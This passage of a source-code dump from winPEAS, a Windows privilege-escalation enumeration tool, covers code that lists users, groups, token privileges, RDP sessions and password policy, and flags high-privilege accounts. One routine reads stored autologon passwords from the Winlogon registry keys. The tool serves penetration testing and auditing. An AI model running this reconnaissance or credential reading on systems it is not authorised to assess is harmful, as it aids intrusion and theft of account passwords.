\n               { \"522\", \"Cloneable Domain Controllers\" }, //A global group. Members of this group that are domain controllers may be cloned.\n               { \"525\", \"Protected Users\" }, //https://book.hacktricks.wiki/en/windows-hardening/stealing-credentials/credentials-protections.html#protected-users\n               { \"526\", \"Key Admins\" }, //A security group. The intention for this group is to have delegated write access on the msdsKeyCredentialLink attribute only. The group is intended for use in scenarios where trusted external authorities (for example, Active Directory Federated Services) are responsible for modifying this attribute. Only trusted administrators should be made a member of this group.\n               { \"527\", \"Enterprise Key Admins\" }, //A security group. The intention for this group is to have delegated write access on the msdsKeyCredentialLink attribute only. The group is intended for use in scenarios where trusted external authorities (for example, Active Directory Federated Services) are responsible for modifying this attribute. Only trusted administrators should be made a member of this group.                             \n               { \"553\", \"RAS and IAS Servers\" }, //A domain local group. By default, this group has no members. Servers in this group have Read Account Restrictions and Read Logon Information access to User objects in the Active Directory domain local group.\n               { \"571\", \"Allowed RODC Password Replication Group\" }, //A domain local group. Members in this group can have their passwords replicated to all read-only domain controllers in the domain.\n               { \"572\", \"Denied RODC Password Replication Group\" }, //A domain local group. Members in this group cannot have their passwords replicated to any read-only domain controllers in the domain.\n            };\n\n            SID = SID.ToUpper();\n\n            try\n            {\n                if (knownSidDic.ContainsKey(SID))\n                {\n                    return knownSidDic[SID];\n                }\n\n                if (SID.StartsWith(\"S-1-5-5-\"))\n                {\n                    return \"Logon Session\";\n                }\n\n                // domain SIDs\n                if (SID.StartsWith(\"S-1-5-21\"))\n                {\n                    var parts = SID.Split('-');\n                    string lastId = parts[parts.Length - 1];\n\n                    if (knownDomainSidsDic.ContainsKey(lastId))\n                    {\n                        return knownDomainSidsDic[lastId];\n                    }\n                }\n\n                return \"\";\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error in PermInt2Str: \" + ex);\n            }\n            return \"\";\n        }\n\n        public static string DomainSId\n        {\n            get\n            {\n                var administratorAcount = new NTAccount(GetDomainName(), \"Administrator\");\n                var administratorSId = (SecurityIdentifier)administratorAcount.Translate(typeof(SecurityIdentifier));\n                return administratorSId.AccountDomainSid.Value;\n            }\n        }\n\n        internal static string GetDomainName()\n        {\n            //could be other way to get the domain name through Environment.UserDomainName etc...\n            return IPGlobalProperties.GetIPGlobalProperties().DomainName;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/UserInfo/Tenant/JoinType.cs",
    "content": "﻿using System.ComponentModel;\n\nnamespace winPEAS.Info.UserInfo.Tenant\n{\n    public enum JoinType\n    {\n        [Description(\"Unknown Join\")]\n        DSREG_UNKNOWN_JOIN,\n\n        [Description(\"Device Join\")]\n        DSREG_DEVICE_JOIN,\n\n        [Description(\"Workplace Join\")]\n        DSREG_WORKPLACE_JOIN,\n\n        [Description(\"No Join\")]\n        DSREG_NO_JOIN\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/UserInfo/Tenant/Tenant.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing System.Security.Cryptography.X509Certificates;\nusing System.Text;\nusing winPEAS.Native;\nusing winPEAS.Native.Structs;\n\nnamespace winPEAS.Info.UserInfo.Tenant\n{\n    internal class Tenant\n    {\n        public static TenantInfo GetTenantInfo()\n        {\n            //original code from https://github.com/ThomasKur/WPNinjas.Dsregcmd/blob/2cff7b273ad4d3fc705744f76c4bd0701b2c36f0/WPNinjas.Dsregcmd/DsRegCmd.cs\n\n            string tenantId = null;\n            var retValue = Netapi32.NetGetAadJoinInformation(tenantId, out var ptrJoinInfo);\n            if (retValue == 0)\n            {\n                var joinInfo = (DSREG_JOIN_INFO)Marshal.PtrToStructure(ptrJoinInfo, typeof(DSREG_JOIN_INFO));\n                var jType = (JoinType)joinInfo.joinType;\n                var did = new Guid(joinInfo.DeviceId);\n                var tid = new Guid(joinInfo.TenantId);\n\n                var data = Convert.FromBase64String(joinInfo.UserSettingSyncUrl);\n                var userSettingSyncUrl = Encoding.ASCII.GetString(data);\n                var ptrUserInfo = joinInfo.pUserInfo;\n\n                DSREG_USER_INFO? userInfo = null;\n                var certificateResult = new List<X509Certificate2>();\n                Guid? uid = null;\n\n                if (ptrUserInfo != IntPtr.Zero)\n                {\n                    userInfo = (DSREG_USER_INFO)Marshal.PtrToStructure(ptrUserInfo, typeof(DSREG_USER_INFO));\n                    uid = new Guid(userInfo?.UserKeyId);\n                    var store = new X509Store(StoreName.My, StoreLocation.LocalMachine);\n                    store.Open(OpenFlags.ReadOnly);\n\n                    foreach (var certificate in store.Certificates)\n                    {\n                        if (certificate.Subject.Equals($\"CN={did}\"))\n                        {\n                            certificateResult.Add(certificate);\n                        }\n                    }\n\n                    Marshal.Release(ptrUserInfo);\n                }\n\n                Marshal.Release(ptrJoinInfo);\n                Netapi32.NetFreeAadJoinInformation(ptrJoinInfo);\n\n                return new TenantInfo(\n                        jType,\n                        did,\n                        joinInfo.IdpDomain,\n                        tid,\n                        joinInfo.JoinUserEmail,\n                        joinInfo.TenantDisplayName,\n                        joinInfo.MdmEnrollmentUrl,\n                        joinInfo.MdmTermsOfUseUrl,\n                        joinInfo.MdmComplianceUrl,\n                        userSettingSyncUrl,\n                        certificateResult,\n                        userInfo?.UserEmail,\n                        uid,\n                        userInfo?.UserKeyName\n                    );\n            }\n\n            return null;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/UserInfo/Tenant/TenantInfo.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Security.Cryptography.X509Certificates;\n\nnamespace winPEAS.Info.UserInfo.Tenant\n{\n    internal class TenantInfo\n    {\n        public JoinType JType { get; }\n        public Guid DeviceId { get; }\n        public string IdpDomain { get; }\n        public Guid TenantId { get; }\n        public string JoinUserEmail { get; }\n        public string TenantDisplayName { get; }\n        public string MdmEnrollmentUrl { get; }\n        public string MdmTermsOfUseUrl { get; }\n        public string MdmComplianceUrl { get; }\n        public string UserSettingSyncUrl { get; }\n        public List<X509Certificate2> CertInfo { get; }\n        public string UserEmail { get; }\n        public Guid? UserKeyId { get; }\n        public string UserKeyname { get; }\n\n        public TenantInfo(JoinType jType, Guid deviceId, string idpDomain, Guid tenantId, string joinUserEmail, string tenantDisplayName,\n            string mdmEnrollmentUrl, string mdmTermsOfUseUrl, string mdmComplianceUrl, string userSettingSyncUrl,\n            List<X509Certificate2> certInfo, string userEmail, Guid? userKeyId, string userKeyname)\n        {\n            JType = jType;\n            DeviceId = deviceId;\n            IdpDomain = idpDomain;\n            TenantId = tenantId;\n            JoinUserEmail = joinUserEmail;\n            TenantDisplayName = tenantDisplayName;\n            MdmEnrollmentUrl = mdmEnrollmentUrl;\n            MdmTermsOfUseUrl = mdmTermsOfUseUrl;\n            MdmComplianceUrl = mdmComplianceUrl;\n            UserSettingSyncUrl = userSettingSyncUrl;\n            CertInfo = certInfo;\n            UserEmail = userEmail;\n            UserKeyId = userKeyId;\n            UserKeyname = userKeyname;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/UserInfo/Token/Enums.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Info.UserInfo.Token\n{\n    [Flags]\n    public enum LuidAttributes : uint\n    {\n        DISABLED = 0x00000000,\n        SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001,\n        SE_PRIVILEGE_ENABLED = 0x00000002,\n        SE_PRIVILEGE_REMOVED = 0x00000004,\n        SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/UserInfo/Token/Structs.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.Info.UserInfo.Token\n{\n    public struct TOKEN_PRIVILEGES\n    {\n        public UInt32 PrivilegeCount;\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 35)]\n        public LUID_AND_ATTRIBUTES[] Privileges;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    public struct LUID\n    {\n        public uint LowPart;\n        public int HighPart;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    public struct LUID_AND_ATTRIBUTES\n    {\n        public LUID Luid;\n        public UInt32 Attributes;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/UserInfo/Token/Token.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing System.Security.Principal;\nusing System.Text;\nusing winPEAS.Helpers;\nusing winPEAS.Native;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.Info.UserInfo.Token\n{\n    internal static class Token\n    {\n        public static Dictionary<string, string> GetTokenGroupPrivs()\n        {\n            // Returns all privileges that the current process/user possesses\n            // adapted from https://stackoverflow.com/questions/4349743/setting-size-of-token-privileges-luid-and-attributes-array-returned-by-gettokeni\n\n            var results = new Dictionary<string, string>();\n            try\n            {\n                int tokenInfLength = 0;\n                IntPtr thisHandle = WindowsIdentity.GetCurrent().Token;\n                Advapi32.GetTokenInformation(thisHandle, TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, tokenInfLength, out tokenInfLength);\n                IntPtr tokenInformation = Marshal.AllocHGlobal(tokenInfLength);\n                if (Advapi32.GetTokenInformation(WindowsIdentity.GetCurrent().Token, TOKEN_INFORMATION_CLASS.TokenPrivileges, tokenInformation, tokenInfLength, out tokenInfLength))\n                {\n                    TOKEN_PRIVILEGES thisPrivilegeSet = (TOKEN_PRIVILEGES)Marshal.PtrToStructure(tokenInformation, typeof(TOKEN_PRIVILEGES));\n                    for (int index = 0; index < thisPrivilegeSet.PrivilegeCount; index++)\n                    {\n                        LUID_AND_ATTRIBUTES laa = thisPrivilegeSet.Privileges[index];\n                        StringBuilder strBuilder = new StringBuilder();\n                        int luidNameLen = 0;\n                        IntPtr luidPointer = Marshal.AllocHGlobal(Marshal.SizeOf(laa.Luid));\n                        Marshal.StructureToPtr(laa.Luid, luidPointer, true);\n                        Advapi32.LookupPrivilegeName(null, luidPointer, null, ref luidNameLen);\n                        strBuilder.EnsureCapacity(luidNameLen + 1);\n                        if (Advapi32.LookupPrivilegeName(null, luidPointer, strBuilder, ref luidNameLen))\n                            results[strBuilder.ToString()] = $\"{(LuidAttributes)laa.Attributes}\";\n                        Marshal.FreeHGlobal(luidPointer);\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/UserInfo/User.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.DirectoryServices.AccountManagement;\nusing System.IO;\nusing System.Management;\nusing System.Runtime.InteropServices;\nusing System.Security.Principal;\nusing winPEAS.Helpers;\nusing winPEAS.Native;\nusing winPEAS.Native.Structs;\n\nnamespace winPEAS.Info.UserInfo\n{\n    internal static class User\n    {\n        public static List<string> GetMachineUsers(bool onlyActive, bool onlyDisabled, bool onlyLockout, bool onlyAdmins, bool fullInfo)\n        {\n            List<string> retList = new List<string>();\n\n            try\n            {\n                foreach (ManagementObject user in Checks.Checks.Win32Users)\n                {\n                    if (onlyActive && !(bool)user[\"Disabled\"] && !(bool)user[\"Lockout\"]) retList.Add((string)user[\"Name\"]);\n                    else if (onlyDisabled && (bool)user[\"Disabled\"] && !(bool)user[\"Lockout\"]) retList.Add((string)user[\"Name\"]);\n                    else if (onlyLockout && (bool)user[\"Lockout\"]) retList.Add((string)user[\"Name\"]);\n                    else if (onlyAdmins)\n                    {\n                        string domain = (string)user[\"Domain\"];\n                        if (string.Join(\",\", GetUserGroups((string)user[\"Name\"], domain)).Contains(\"Admin\")) retList.Add((string)user[\"Name\"]);\n                    }\n                    else if (fullInfo)\n                    {\n                        string domain = (string)user[\"Domain\"];\n                        string userLine = user[\"Caption\"] + ((bool)user[\"Disabled\"] ? \"(Disabled)\" : \"\") + ((bool)user[\"Lockout\"] ? \"(Lockout)\" : \"\") + ((string)user[\"Fullname\"] != \"false\" ? \"\" : \"(\" + user[\"Fullname\"] + \")\") + (((string)user[\"Description\"]).Length > 1 ? \": \" + user[\"Description\"] : \"\");\n                        List<string> user_groups = GetUserGroups((string)user[\"Name\"], domain);\n                        string groupsLine = \"\";\n                        if (user_groups.Count > 0)\n                        {\n                            groupsLine = \"\\n        |->Groups: \" + string.Join(\",\", user_groups);\n                        }\n                        string passLine = \"\\n        |->Password: \" + ((bool)user[\"PasswordChangeable\"] ? \"CanChange\" : \"NotChange\") + \"-\" + ((bool)user[\"PasswordExpires\"] ? \"Expi\" : \"NotExpi\") + \"-\" + ((bool)user[\"PasswordRequired\"] ? \"Req\" : \"NotReq\") + \"\\n\";\n                        retList.Add(userLine + groupsLine + passLine);\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n\n            return retList;\n        }\n\n\n        public static bool IsLocaluser(string UserName, string domain)\n        {\n            return Checks.Checks.CurrentAdDomainName != Checks.Checks.CurrentUserDomainName && domain != Checks.Checks.CurrentUserDomainName;\n        }\n\n        // https://stackoverflow.com/questions/3679579/check-for-groups-a-local-user-is-a-member-of/3681442#3681442\n        public static List<string> GetUserGroups(string sUserName, string domain)\n        {\n            List<string> myItems = new List<string>();\n            try\n            {\n                if (Checks.Checks.IsCurrentUserLocal && domain != Checks.Checks.CurrentUserDomainName)\n                {\n                    return myItems; //If local user and other domain, do not look\n                }\n\n                UserPrincipal oUserPrincipal = GetUser(sUserName, domain);\n                if (oUserPrincipal != null)\n                {\n                    PrincipalSearchResult<Principal> oPrincipalSearchResult = oUserPrincipal.GetGroups();\n                    foreach (Principal oResult in oPrincipalSearchResult)\n                    {\n                        myItems.Add(oResult.Name);\n                    }\n                }\n                else\n                {\n                    Beaprint.GrayPrint(\"  [-] Controlled exception, info about \" + domain + \"\\\\\" + sUserName + \" not found\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return myItems;\n        }\n\n        public static UserPrincipal GetUser(string sUserName, string domain)\n        {\n            UserPrincipal user;\n            try\n            {\n                if (Checks.Checks.IsPartOfDomain && !Checks.Checks.IsCurrentUserLocal) //Check if part of domain and notlocal users\n                {\n                    user = GetUserDomain(sUserName, domain) ?? GetUserLocal(sUserName);\n                }\n                else //If not part of a domain, then check local\n                {\n                    user = GetUserLocal(sUserName);\n                }\n            }\n            catch\n            {\n                //If error, then some error ocurred trying to find a user inside an unexistant domain, check if local user\n                user = GetUserLocal(sUserName);\n            }\n            return user;\n        }\n\n        public static UserPrincipal GetUserLocal(string sUserName)\n        {\n            // Extract local user information\n            //https://stackoverflow.com/questions/14594545/query-local-administrator-group\n            var context = new PrincipalContext(ContextType.Machine);\n            var user = new UserPrincipal(context);\n            user.SamAccountName = sUserName;\n            var searcher = new PrincipalSearcher(user);\n            user = searcher.FindOne() as UserPrincipal;\n            return user;\n        }\n\n        public static UserPrincipal GetUserDomain(string sUserName, string domain)\n        {\n            //if not local, try to extract domain user information\n            //https://stackoverflow.com/questions/12710355/check-if-user-is-a-domain-user-or-local-user/12710452\n            //var domainContext = new PrincipalContext(ContextType.Domain, Environment.UserDomainName);\n            var domainContext = new PrincipalContext(ContextType.Domain, domain);\n            UserPrincipal domainUser = UserPrincipal.FindByIdentity(domainContext, IdentityType.SamAccountName, sUserName);\n            return domainUser;\n        }\n\n        public static List<string> GetLoggedUsers()\n        {\n            List<string> retList = new List<string>();\n            try\n            {\n                using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(\"SELECT * FROM Win32_UserProfile WHERE Loaded = True\"))\n                {\n                    using (var data = searcher.Get())\n                    {\n                        foreach (ManagementObject user in data)\n                        {\n                            string username = new SecurityIdentifier(user[\"SID\"].ToString()).Translate(typeof(NTAccount)).ToString();\n                            if (!username.Contains(\"NT AUTHORITY\")) retList.Add(username);\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return retList;\n        }\n\n        public static List<string> GetEverLoggedUsers()\n        {\n            List<string> retList = new List<string>();\n            try\n            {\n                SelectQuery query = new SelectQuery(\"Win32_UserProfile\");\n\n                using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))\n                {\n                    using (var data = searcher.Get())\n                    {\n                        foreach (ManagementObject user in data)\n                        {\n                            try\n                            {\n                                string username = new SecurityIdentifier(user[\"SID\"].ToString()).Translate(typeof(NTAccount)).ToString();\n                                if (!username.Contains(\"NT AUTHORITY\"))\n                                {\n                                    retList.Add(username);\n                                }\n                            }\n                            // user SID could not be translated, ignore\n                            catch (Exception)\n                            {\n                            }\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return retList;\n        }\n\n        public static List<string> GetUsersFolders()\n        {\n            return MyUtils.ListFolder(\"Users\");\n        }\n\n        public static HashSet<string> GetOtherUsersFolders()\n        {\n            HashSet<string> result = new HashSet<string>();\n            string currentUsername = Environment.UserName?.ToLower();\n            var usersBaseDirectory = Path.Combine(Path.GetPathRoot(Environment.SystemDirectory), \"Users\");\n\n            foreach (ManagementObject envVar in Checks.Checks.Win32Users)\n            {\n                string username = (string)envVar[\"Name\"];\n                username = username?.ToLower();\n\n                if (currentUsername != username)\n                {\n                    string userDirectory = Path.Combine(usersBaseDirectory, username);\n\n                    if (Directory.Exists(userDirectory))\n                    {\n                        result.Add(userDirectory.ToLower());\n                    }\n                }\n            }\n\n            return result;\n        }\n\n        public static IEnumerable<USER_INFO_3> GetLocalUsers(string computerName)\n        {\n            uint MAX_PREFERRED_LENGTH = unchecked((uint)-1);\n\n            // Returns local users\n            //  FILTER_NORMAL_ACCOUNT == 2\n            var users = new List<USER_INFO_3>();\n            var retVal = Netapi32.NetUserEnum(computerName, 3, 2, out var bufPtr, MAX_PREFERRED_LENGTH, out var entriesRead, out var totalEntries, out var resume);\n\n            if (retVal != 0)\n            {\n                var errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;\n                throw new Exception(\"Error code \" + retVal + \": \" + errorMessage);\n            }\n\n            if (entriesRead == 0)\n            {\n                return users;\n            }\n\n            var names = new string[entriesRead];\n            var userInfo = new USER_INFO_3[entriesRead];\n            var iter = bufPtr;\n\n            for (var i = 0; i < entriesRead; i++)\n            {\n                userInfo[i] = (USER_INFO_3)Marshal.PtrToStructure(iter, typeof(USER_INFO_3));\n                users.Add(userInfo[i]);\n\n                //x64 safe\n                iter = new IntPtr(iter.ToInt64() + Marshal.SizeOf(typeof(USER_INFO_3)));\n            }\n            Netapi32.NetApiBufferFree(bufPtr);\n\n            return users;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/UserInfo/UserInfoHelper.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.DirectoryServices.AccountManagement;\nusing System.Runtime.InteropServices;\nusing System.Threading;\nusing System.Windows.Forms;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Registry;\nusing winPEAS.Info.UserInfo.SAM;\nusing winPEAS.Native;\nusing winPEAS.Native.Enums;\n\n//Configuring Fody: https://tech.trailmax.info/2014/01/bundling-all-your-assemblies-into-one-or-alternative-to-ilmerge/\n//I have also created the folder Costura32 and Costura64 with the respective Dlls of Colorful.Console\n\nnamespace winPEAS.Info.UserInfo\n{\n    class UserInfoHelper\n    {\n        private const int ClipboardReadTimeoutMs = 1500;\n        private static readonly Dictionary<string, bool> _highPrivAccountCache = new Dictionary<string, bool>(StringComparer.OrdinalIgnoreCase);\n        private static readonly string[] _highPrivGroupIndicators = new string[]\n        {\n            \"administrators\",\n            \"domain admins\",\n            \"enterprise admins\",\n            \"schema admins\",\n            \"server operators\",\n            \"account operators\",\n            \"backup operators\",\n            \"dnsadmins\",\n            \"hyper-v administrators\"\n        };\n\n        // https://stackoverflow.com/questions/5247798/get-list-of-local-computer-usernames-in-windows\n\n\n        public static string SID2GroupName(string SID)\n        {\n            //Frist, look in well-known SIDs\n            string groupName = SID2GroupNameHelper.StaticSID2GroupName(SID);\n            if (!string.IsNullOrEmpty(groupName))\n            {\n                return groupName;\n            }\n\n            //If not well known, search in local or domain (depending on the nature of the user)\n            ContextType ct = ContextType.Domain;\n            if (Checks.Checks.IsCurrentUserLocal)\n            {\n                ct = ContextType.Machine;\n            }\n\n            try\n            {\n                groupName = GetSIDGroupName(SID, ct);\n            }\n            catch (Exception ex)\n            {\n                //If error, check inside the other one\n                Beaprint.GrayPrint(string.Format(\"  [X] Exception: {0}\\n    Checking using the other Principal Context\", ex.Message));\n                try\n                {\n                    groupName = GetSIDGroupName(SID, ct == ContextType.Machine ? ContextType.Domain : ContextType.Machine);\n                    return groupName;\n                }\n                catch\n                {\n                    Beaprint.PrintException(ex.Message);\n                }\n            }\n\n            //If nothing, check inside the other one\n            if (string.IsNullOrEmpty(groupName))\n            {\n                try\n                {\n                    groupName = GetSIDGroupName(SID, ct == ContextType.Machine ? ContextType.Domain : ContextType.Machine);\n                }\n                catch (Exception ex)\n                {\n                    Beaprint.PrintException(ex.Message);\n                }\n            }\n            return groupName;\n        }\n\n        public static string GetSIDGroupName(string SID, ContextType ct)\n        {\n            string groupName = \"\";\n            try\n            {\n                var ctx = new PrincipalContext(ct);\n                var group = GroupPrincipal.FindByIdentity(ctx, IdentityType.Sid, SID);\n                return group.SamAccountName.ToString();\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return groupName;\n        }\n\n        public static PrincipalContext GetPrincipalContext()\n        {\n            PrincipalContext oPrincipalContext = new PrincipalContext(ContextType.Machine);\n            return oPrincipalContext;\n        }\n\n        public static bool IsHighPrivilegeAccount(string userName, string domain)\n        {\n            if (string.IsNullOrWhiteSpace(userName))\n            {\n                return false;\n            }\n\n            string cacheKey = ($\"{domain}\\\\{userName}\").Trim('\\\\');\n            if (_highPrivAccountCache.TryGetValue(cacheKey, out bool cached))\n            {\n                return cached;\n            }\n\n            bool isHighPriv = false;\n            try\n            {\n                string resolvedDomain = string.IsNullOrWhiteSpace(domain) ? Checks.Checks.CurrentUserDomainName : domain;\n                List<string> groups = User.GetUserGroups(userName, resolvedDomain);\n                foreach (string group in groups)\n                {\n                    if (IsHighPrivilegeGroup(group))\n                    {\n                        isHighPriv = true;\n                        break;\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(string.Format(\"  [-] Unable to resolve groups for {0}\\\\{1}: {2}\", domain, userName, ex.Message));\n            }\n\n            if (!isHighPriv)\n            {\n                isHighPriv = string.Equals(userName, \"administrator\", StringComparison.OrdinalIgnoreCase) || userName.StartsWith(\"admin\", StringComparison.OrdinalIgnoreCase);\n            }\n\n            _highPrivAccountCache[cacheKey] = isHighPriv;\n            return isHighPriv;\n        }\n\n        private static bool IsHighPrivilegeGroup(string groupName)\n        {\n            if (string.IsNullOrWhiteSpace(groupName))\n            {\n                return false;\n            }\n\n            foreach (string indicator in _highPrivGroupIndicators)\n            {\n                if (groupName.IndexOf(indicator, StringComparison.OrdinalIgnoreCase) >= 0)\n                {\n                    return true;\n                }\n            }\n\n            return false;\n        }\n\n        //From Seatbelt\n        public enum WTS_CONNECTSTATE_CLASS\n        {\n            Active,\n            Connected,\n            ConnectQuery,\n            Shadow,\n            Disconnected,\n            Idle,\n            Listen,\n            Reset,\n            Down,\n            Init\n        }\n\n        public static void CloseServer(IntPtr ServerHandle)\n        {\n            Wtsapi32.WTSCloseServer(ServerHandle);\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct WTS_CLIENT_ADDRESS\n        {\n            public uint AddressFamily;\n            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 20)]\n            public byte[] Address;\n        }\n\n\n        [StructLayout(LayoutKind.Sequential)]\n        private struct WTS_SESSION_INFO_1\n        {\n            public Int32 ExecEnvId;\n\n            public WTS_CONNECTSTATE_CLASS State;\n\n            public Int32 SessionID;\n\n            [MarshalAs(UnmanagedType.LPStr)]\n            public String pSessionName;\n\n            [MarshalAs(UnmanagedType.LPStr)]\n            public String pHostName;\n\n            [MarshalAs(UnmanagedType.LPStr)]\n            public String pUserName;\n\n            [MarshalAs(UnmanagedType.LPStr)]\n            public String pDomainName;\n\n            [MarshalAs(UnmanagedType.LPStr)]\n            public String pFarmName;\n        }\n\n        public static IntPtr OpenServer(String Name)\n        {\n            IntPtr server = Wtsapi32.WTSOpenServer(Name);\n            return server;\n        }\n\n        public static List<Dictionary<string, string>> GetRDPSessions()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            // adapted from http://www.pinvoke.net/default.aspx/wtsapi32.wtsenumeratesessions\n            IntPtr server = IntPtr.Zero;\n            List<String> ret = new List<string>();\n            server = OpenServer(\"localhost\");\n\n            try\n            {\n                IntPtr ppSessionInfo = IntPtr.Zero;\n\n                Int32 count = 0;\n                Int32 level = 1;\n                Int32 retval = Wtsapi32.WTSEnumerateSessionsEx(server, ref level, 0, ref ppSessionInfo, ref count);\n                Int32 dataSize = Marshal.SizeOf(typeof(WTS_SESSION_INFO_1));\n                Int64 current = (Int64)ppSessionInfo;\n\n                if (retval != 0)\n                {\n                    for (int i = 0; i < count; i++)\n                    {\n                        Dictionary<string, string> rdp_session = new Dictionary<string, string>();\n                        WTS_SESSION_INFO_1 si = (WTS_SESSION_INFO_1)Marshal.PtrToStructure((System.IntPtr)current, typeof(WTS_SESSION_INFO_1));\n                        current += dataSize;\n                        if (si.pUserName == null || si.pUserName == \"\")\n                            continue;\n\n                        rdp_session[\"SessionID\"] = string.Format(\"{0}\", si.SessionID);\n                        rdp_session[\"pSessionName\"] = string.Format(\"{0}\", si.pSessionName);\n                        rdp_session[\"pUserName\"] = string.Format(\"{0}\", si.pUserName);\n                        rdp_session[\"pDomainName\"] = string.Format(\"{0}\", si.pDomainName);\n                        rdp_session[\"State\"] = string.Format(\"{0}\", si.State);\n                        rdp_session[\"SourceIP\"] = \"\";\n\n                        // Now use WTSQuerySessionInformation to get the remote IP (if any) for the connection\n                        IntPtr addressPtr = IntPtr.Zero;\n                        uint bytes = 0;\n\n                        Wtsapi32.WTSQuerySessionInformation(server, (uint)si.SessionID, WTS_INFO_CLASS.WTSClientAddress, out addressPtr, out bytes);\n                        WTS_CLIENT_ADDRESS address = (WTS_CLIENT_ADDRESS)Marshal.PtrToStructure((System.IntPtr)addressPtr, typeof(WTS_CLIENT_ADDRESS));\n\n                        if (address.Address[2] != 0)\n                        {\n                            string sourceIP = string.Format(\"{0}.{1}.{2}.{3}\", address.Address[2], address.Address[3], address.Address[4], address.Address[5]);\n                            rdp_session[\"SourceIP\"] = string.Format(\"{0}\", sourceIP);\n                        }\n                        results.Add(rdp_session);\n                    }\n\n                    Wtsapi32.WTSFreeMemory(ppSessionInfo);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(string.Format(\"  [X] Exception: {0}\", ex));\n            }\n            finally\n            {\n                CloseServer(server);\n            }\n            return results;\n        }\n\n        // https://stackoverflow.com/questions/31464835/how-to-programmatically-check-the-password-must-meet-complexity-requirements-g\n        public static List<Dictionary<string, string>> GetPasswordPolicy()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            try\n            {\n                using (SamServer server = new SamServer(null, SERVER_ACCESS_MASK.SAM_SERVER_ENUMERATE_DOMAINS | SERVER_ACCESS_MASK.SAM_SERVER_LOOKUP_DOMAIN))\n                {\n                    foreach (string domain in server.EnumerateDomains())\n                    {\n                        var sid = server.GetDomainSid(domain);\n                        var pi = server.GetDomainPasswordInformation(sid);\n\n                        results.Add(new Dictionary<string, string>()\n                        {\n                            { \"Domain\", domain },\n                            { \"SID\", string.Format(\"{0}\", sid) },\n                            { \"MaxPasswordAge\", string.Format(\"{0}\", pi.MaxPasswordAge) },\n                            { \"MinPasswordAge\", string.Format(\"{0}\", pi.MinPasswordAge) },\n                            { \"MinPasswordLength\", string.Format(\"{0}\", pi.MinPasswordLength) },\n                            { \"PasswordHistoryLength\", string.Format(\"{0}\", pi.PasswordHistoryLength) },\n                            { \"PasswordProperties\", string.Format(\"{0}\", pi.PasswordProperties) },\n                        });\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(string.Format(\"  [X] Exception: {0}\", ex));\n            }\n            return results;\n        }\n\n        public static Dictionary<string, string> GetAutoLogon()\n        {\n            Dictionary<string, string> results = new Dictionary<string, string>\n            {\n                [\"DefaultDomainName\"] = RegistryHelper.GetRegValue(\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\", \"DefaultDomainName\"),\n                [\"DefaultUserName\"] = RegistryHelper.GetRegValue(\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\", \"DefaultUserName\"),\n                [\"DefaultPassword\"] = RegistryHelper.GetRegValue(\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\", \"DefaultPassword\"),\n                [\"AltDefaultDomainName\"] = RegistryHelper.GetRegValue(\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\", \"AltDefaultDomainName\"),\n                [\"AltDefaultUserName\"] = RegistryHelper.GetRegValue(\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\", \"AltDefaultUserName\"),\n                [\"AltDefaultPassword\"] = RegistryHelper.GetRegValue(\"HKLM\", 